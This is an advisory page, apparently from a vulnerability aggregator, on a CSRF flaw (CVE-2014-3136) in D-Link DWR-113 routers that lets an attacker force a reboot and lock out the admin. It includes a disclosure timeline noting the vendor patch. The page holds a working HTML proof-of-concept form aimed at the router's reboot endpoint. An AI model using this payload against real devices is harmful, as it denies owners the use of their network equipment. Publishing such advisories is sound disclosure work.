Dlink DWR-113 Rev. Ax - CSRF Denial of Service

🗓️ 04 Aug 2014 00:00:00Reported by RootType

Dlink DWR-113 Rev. Ax - CSRF causing Denial of Service vulnerability, patched by vendo

Reporter	Title	Published	Views	Family All 10
0day.today	Dlink DWR-113 Rev. Ax - CSRF Denial of Service	1 Aug 201400:00	–	zdt
Circl	CVE-2014-3136	18 Mar 202408:11	–	circl
CVE	CVE-2014-3136	27 Dec 201920:14	–	cve
Cvelist	CVE-2014-3136	27 Dec 201920:14	–	cvelist
Exploit DB	D-Link DWR-113 Rev. Ax - Cross-Site Request Forgery / Denial of Service	30 Jul 201400:00	–	exploitdb
EUVD	EUVD-2014-3156	7 Oct 202500:30	–	euvd
exploitpack	D-Link DWR-113 Rev. Ax - Cross-Site Request Forgery Denial of Service	30 Jul 201400:00	–	exploitpack
NVD	CVE-2014-3136	27 Dec 201921:15	–	nvd
Packet Storm	D-Link DWR-113 Cross Site Request Forgery	30 Jul 201400:00	–	packetstorm
Prion	Cross site request forgery (csrf)	27 Dec 201921:15	–	prion


                                                Exploit Title:  Dlink DWR-113 Rev. Ax - CSRF causing Denial of Service
Google dork : N/A
Exploit Author: Blessen Thomas
Date : 29/07/14
Vendor Homepage : http://www.dlink.com/
Software Link : N/A
Firmware version: v2.02 2013-03-13
Tested on : Windows 7
CVE : CVE-2014-3136
Type of Application :  Web application
Release mode : Coordinated disclosure
 
 
 
Vulnerability description:
 
 
 
It was observed that the D-link DWR-113 wireless router is vulnerable to
denial of service attack via CSRF(Cross-Site Request Forgery) vulnerability.
 
 
 
An attacker could craft a malicious CSRF exploit to change the password in
the password functionality when the user(admin) is logged in to the
application ,as the user interface (admin panel) lacks the csrf token or
nonce to prevent an attacker to change the password.
 
 
 
As a result, as soon as the crafted malicious exploit is executed the
router is rebooted and the user could not login thus forcing to reset the
router’s device physically ,leading to a denial of service condition.
 
 
 
POC code (exploit) :
 
 
 
*Restart Router by CSRF*
 
 
 
&lt;html&gt;
 
  &lt;!-- CSRF PoC ---&gt;
 
  &lt;body&gt;
 
    &lt;form action=&quot;http://192.168.0.1/rebo.htm&quot;&gt;
 
      &lt;input type=&quot;hidden&quot; name=&quot;S00010002&quot; value=&quot;test&quot; /&gt;
 
      &lt;input type=&quot;hidden&quot; name=&quot;np2&quot; value=&quot;test&quot; /&gt;
 
      &lt;input type=&quot;hidden&quot; name=&quot;N00150004&quot; value=&quot;0&quot; /&gt;
 
      &lt;input type=&quot;hidden&quot; name=&quot;N00150001&quot; value=&quot;&quot; /&gt;
 
      &lt;input type=&quot;hidden&quot; name=&quot;N00150003&quot; value=&quot;1080&quot; /&gt;
 
      &lt;input type=&quot;hidden&quot; name=&quot;_cce&quot; value=&quot;0x80150002&quot; /&gt;
 
      &lt;input type=&quot;hidden&quot; name=&quot;_sce&quot; value=&quot;%Ssc&quot; /&gt;
 
      &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;
 
    &lt;/form&gt;
 
  &lt;/body&gt;
 
&lt;/html&gt;
 
 
 
 
 
Tools used :
 
Mozilla firefox browser v28.0 , Burp proxy free edition v1.5
 
 
 
Timeline :
 
 
 
06-04-14 : Contacted Vendor with details of Vulnerability and Exploit.
 
 
 
06-04-14 : Vendor D-Link forwards to R&amp;D team for review
 
 
 
29-04-14 : Vendor contacted to know the status.
 
 
 
01-05-14 : Vendor acknowledged and released a patch
 
 
 
01-05-14 : CVE ID provided by Mitre team.
 
 
 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10034

04 Aug 2014 00:00Current

8.7High risk

Vulners AI Score8.7

EPSS0.00799